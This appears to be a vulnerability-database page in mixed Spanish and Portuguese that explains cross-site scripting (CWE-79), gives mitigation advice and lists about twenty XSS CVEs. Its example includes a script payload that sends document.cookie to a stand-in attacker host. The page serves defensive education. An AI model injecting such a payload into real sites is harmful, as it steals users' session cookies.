Fallos del tipo CWE-79

29.763 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-47956MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-48304MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-4995MEDIUMEmbed Calendly <= 3.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2026-27227MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-47972MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-51839MEDIUMWordPress Utech Spinning Earth plugin <= 1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-51810MEDIUMWordPress Lewe Bootstrap Visuals plugin <= 3.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-47949MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-75741MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-75731MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-75734MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-51804MEDIUMWordPress Moka Get Posts Shortcode plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-7856MEDIUMPHPGurukul Apartment Visitors Management System HTTP POST Request pass-details.php cross site scriptingEPSS 0.4%CVE-2023-49279LOWUmbraco CMS vulnerable to stored XSS via SVG File UploadEPSS 0.4%CVE-2026-48355MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-47953MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-27660MEDIUMVasion Print (formerly PrinterLogic) before Virtual Appliance Host 22.0.843 Application 20.0.1923 allows Cross Site Scripting OVE-20230524-0EPSS 0.4%CVE-2026-79905MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-47948MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-50515MEDIUMWordPress Ninja Forms – The Contact Form Builder That Grows With You plugin <= 3.8.16 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%